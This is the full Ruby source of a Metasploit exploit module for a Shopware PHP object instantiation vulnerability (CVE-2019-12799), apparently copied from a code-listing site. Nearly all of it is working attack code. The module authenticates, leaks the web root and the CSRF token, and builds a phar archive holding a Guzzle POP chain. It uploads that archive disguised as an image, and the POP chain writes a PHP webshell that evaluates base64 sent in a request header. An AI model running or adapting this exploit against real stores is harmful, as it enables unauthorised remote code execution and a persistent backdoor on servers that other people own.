/modules/exploits/multi/http/shopware_createinstancefromnamedarguments_rce.rb
Ruby | 283 lines | 262 code | 17 blank | 4 comment | 26 complexity | ea9b05e2343a8dd19dd377f7bd1d5620 MD5 | raw file
- ##
- # This module requires Metasploit: https://metasploit.com/download
- # Current source: https://github.com/rapid7/metasploit-framework
- ##
- class MetasploitModule < Msf::Exploit::Remote
- Rank = ExcellentRanking
- include Msf::Exploit::Remote::HttpClient
- include Msf::Exploit::FileDropper
- def initialize(info = {})
- super(update_info(info,
- 'Name' => "Shopware createInstanceFromNamedArguments PHP Object Instantiation RCE",
- 'Description' => %q(
- This module exploits a php object instantiation vulnerability that can lead to RCE in
- Shopware. An authenticated backend user could exploit the vulnerability.
- The vulnerability exists in the createInstanceFromNamedArguments function, where the code
- insufficiently performs whitelist check which can be bypassed to trigger an object injection.
- An attacker can leverage this to deserialize an arbitrary payload and write a webshell to
- the target system, resulting in remote code execution.
- Tested on Shopware git branches 5.6, 5.5, 5.4, 5.3.
- ),
- 'License' => MSF_LICENSE,
- 'Author' =>
- [
- 'Karim Ouerghemmi', # original discovery
- 'mr_me <steven@srcincite.io>', # patch bypass, rce & msf module
- ],
- 'References' =>
- [
- ['CVE', '2019-12799'], # yes really, assigned per request
- ['CVE', '2017-18357'], # not really because we bypassed this patch
- ['URL', 'https://blog.ripstech.com/2017/shopware-php-object-instantiation-to-blind-xxe/'] # initial writeup w/ limited exploitation
- ],
- 'Platform' => 'php',
- 'Arch' => ARCH_PHP,
- 'Targets' => [['Automatic', {}]],
- 'Privileged' => false,
- 'DisclosureDate' => '2019-05-09',
- 'DefaultTarget' => 0))
- register_options(
- [
- OptString.new('TARGETURI', [true, "Base Shopware path", '/']),
- OptString.new('USERNAME', [true, "Backend username to authenticate with", 'demo']),
- OptString.new('PASSWORD', [false, "Backend password to authenticate with", 'demo'])
- ]
- )
- end
- def do_login
- res = send_request_cgi(
- 'method' => 'POST',
- 'uri' => normalize_uri(target_uri.path, 'backend', 'Login', 'login'),
- 'vars_post' => {
- 'username' => datastore['username'],
- 'password' => datastore['password'],
- }
- )
- unless res
- fail_with(Failure::Unreachable, "Connection failed")
- end
- if res.code == 200
- cookie = res.get_cookies.scan(%r{(SHOPWAREBACKEND=.{26};)}).flatten.first
- if res.nil?
- return
- end
- return cookie
- end
- return
- end
- def get_webroot(cookie)
- res = send_request_cgi(
- 'method' => 'GET',
- 'uri' => normalize_uri(target_uri.path, 'backend', 'systeminfo', 'info'),
- 'cookie' => cookie
- )
- unless res
- fail_with(Failure::Unreachable, "Connection failed")
- end
- if res.code == 200
- return res.body.scan(%r{DOCUMENT_ROOT </td><td class="v">(.*) </td></tr>}).flatten.first
- end
- return
- end
- def leak_csrf(cookie)
- res = send_request_cgi(
- 'method' => 'GET',
- 'uri' => normalize_uri(target_uri.path, 'backend', 'CSRFToken', 'generate'),
- 'cookie' => cookie
- )
- unless res
- fail_with(Failure::Unreachable, "Connection failed")
- end
- if res.code == 200
- if res.headers.include?('X-Csrf-Token')
- return res.headers['X-Csrf-Token']
- end
- end
- return
- end
- def generate_phar(webroot)
- php = Rex::FileUtils.normalize_unix_path("#{webroot}#{target_uri.path}media/#{@shll_bd}.php")
- register_file_for_cleanup("#{@shll_bd}.php")
- pop = "O:31:\"GuzzleHttp\\Cookie\\FileCookieJar\":2:{s:41:\"\x00GuzzleHttp\\Cookie\\FileCookieJar\x00filename\";"
- pop << "s:#{php.length}:\"#{php}\";"
- pop << "s:36:\"\x00GuzzleHttp\\Cookie\\CookieJar\x00cookies\";"
- pop << "a:1:{i:0;O:27:\"GuzzleHttp\\Cookie\\SetCookie\":1:{s:33:\"\x00GuzzleHttp\\Cookie\\SetCookie\x00data\";"
- pop << "a:3:{s:5:\"Value\";"
- pop << "s:48:\"<?php eval(base64_decode($_SERVER[HTTP_#{@header}])); ?>\";"
- pop << "s:7:\"Expires\";"
- pop << "b:1;"
- pop << "s:7:\"Discard\";"
- pop << "b:0;}}}}"
- file = Rex::Text.rand_text_alpha_lower(8)
- stub = "<?php __HALT_COMPILER(); ?>\r\n"
- file_contents = Rex::Text.rand_text_alpha_lower(20)
- file_crc32 = Zlib::crc32(file_contents) & 0xffffffff
- manifest_len = 40 + pop.length + file.length
- phar = stub
- phar << [manifest_len].pack('V') # length of manifest in bytes
- phar << [0x1].pack('V') # number of files in the phar
- phar << [0x11].pack('v') # api version of the phar manifest
- phar << [0x10000].pack('V') # global phar bitmapped flags
- phar << [0x0].pack('V') # length of phar alias
- phar << [pop.length].pack('V') # length of phar metadata
- phar << pop # pop chain
- phar << [file.length].pack('V') # length of filename in the archive
- phar << file # filename
- phar << [file_contents.length].pack('V') # length of the uncompressed file contents
- phar << [0x0].pack('V') # unix timestamp of file set to Jan 01 1970.
- phar << [file_contents.length].pack('V') # length of the compressed file contents
- phar << [file_crc32].pack('V') # crc32 checksum of un-compressed file contents
- phar << [0x1b6].pack('V') # bit-mapped file-specific flags
- phar << [0x0].pack('V') # serialized File Meta-data length
- phar << file_contents # serialized File Meta-data
- phar << [Rex::Text.sha1(phar)].pack('H*') # signature
- phar << [0x2].pack('V') # signiture type
- phar << "GBMB" # signature presence
- return phar
- end
- def upload(cookie, csrf_token, phar)
- data = Rex::MIME::Message.new
- data.add_part(phar, Rex::Text.rand_text_alpha_lower(8), nil, "name=\"fileId\"; filename=\"#{@phar_bd}.jpg\"")
- res = send_request_cgi(
- 'method' => 'POST',
- 'uri' => normalize_uri(target_uri, 'backend', 'mediaManager', 'upload'),
- 'ctype' => "multipart/form-data; boundary=#{data.bound}",
- 'data' => data.to_s,
- 'cookie' => cookie,
- 'headers' => {
- 'X-CSRF-Token' => csrf_token
- }
- )
- unless res
- fail_with(Failure::Unreachable, "Connection failed")
- end
- if res.code == 200 && res.body =~ /Image is not in a recognized format/i
- return true
- end
- return
- end
- def leak_upload(cookie, csrf_token)
- res = send_request_cgi(
- 'method' => 'GET',
- 'uri' => normalize_uri(target_uri.path, 'backend', 'MediaManager', 'getAlbumMedia'),
- 'cookie' => cookie,
- 'headers' => {
- 'X-CSRF-Token' => csrf_token
- }
- )
- unless res
- fail_with(Failure::Unreachable, "Connection failed")
- end
- if res.code == 200 && res.body =~ /#{@phar_bd}.jpg/i
- bd_path = $1 if res.body =~ /media\\\/image\\\/(.{10})\\\/#{@phar_bd}/
- register_file_for_cleanup("image/#{bd_path.gsub("\\", "")}/#{@phar_bd}.jpg")
- return "media/image/#{bd_path.gsub("\\", "")}/#{@phar_bd}.jpg"
- end
- return
- end
- def trigger_bug(cookie, csrf_token, upload_path)
- sort = {
- "Shopware_Components_CsvIterator" => {
- "filename" => "phar://#{upload_path}",
- "delimiter" => "",
- "header" => ""
- }
- }
- res = send_request_cgi(
- 'method' => 'GET',
- 'uri' => normalize_uri(target_uri.path, 'backend', 'ProductStream', 'loadPreview'),
- 'cookie' => cookie,
- 'headers' => {
- 'X-CSRF-Token' => csrf_token
- },
- 'vars_get' => { 'sort' => sort.to_json }
- )
- unless res
- fail_with(Failure::Unreachable, "Connection failed")
- end
- return
- end
- def exec_code
- send_request_cgi({
- 'method' => 'GET',
- 'uri' => normalize_uri(target_uri.path, "media", "#{@shll_bd}.php"),
- 'raw_headers' => "#{@header}: #{Rex::Text.encode_base64(payload.encoded)}\r\n"
- }, 1)
- end
- def check
- cookie = do_login
- if cookie.nil?
- vprint_error "Authentication was unsuccessful"
- return Exploit::CheckCode::Safe
- end
- csrf_token = leak_csrf(cookie)
- if csrf_token.nil?
- vprint_error "Unable to leak the CSRF token"
- return Exploit::CheckCode::Safe
- end
- res = send_request_cgi(
- 'method' => 'GET',
- 'uri' => normalize_uri(target_uri.path, 'backend', 'ProductStream', 'loadPreview'),
- 'cookie' => cookie,
- 'headers' => { 'X-CSRF-Token' => csrf_token }
- )
- if res.code == 200 && res.body =~ /Shop not found/i
- return Exploit::CheckCode::Vulnerable
- end
- return Exploit::CheckCode::Safe
- end
- def exploit
- unless Exploit::CheckCode::Vulnerable == check
- fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
- end
- @phar_bd = Rex::Text.rand_text_alpha_lower(8)
- @shll_bd = Rex::Text.rand_text_alpha_lower(8)
- @header = Rex::Text.rand_text_alpha_upper(2)
- cookie = do_login
- if cookie.nil?
- fail_with(Failure::NoAccess, "Authentication was unsuccessful")
- end
- print_good("Stage 1 - logged in with #{datastore['username']}: #{cookie}")
- web_root = get_webroot(cookie)
- if web_root.nil?
- fail_with(Failure::Unknown, "Unable to leak the webroot")
- end
- print_good("Stage 2 - leaked the web root: #{web_root}")
- csrf_token = leak_csrf(cookie)
- if csrf_token.nil?
- fail_with(Failure::Unknown, "Unable to leak the CSRF token")
- end
- print_good("Stage 3 - leaked the CSRF token: #{csrf_token}")
- phar = generate_phar(web_root)
- print_good("Stage 4 - generated our phar")
- if !upload(cookie, csrf_token, phar)
- fail_with(Failure::Unknown, "Unable to upload phar archive")
- end
- print_good("Stage 5 - uploaded phar")
- upload_path = leak_upload(cookie, csrf_token)
- if upload_path.nil?
- fail_with(Failure::Unknown, "Cannot find phar archive")
- end
- print_good("Stage 6 - leaked phar location: #{upload_path}")
- trigger_bug(cookie, csrf_token, upload_path)
- print_good("Stage 7 - triggered object instantiation!")
- exec_code
- end
- end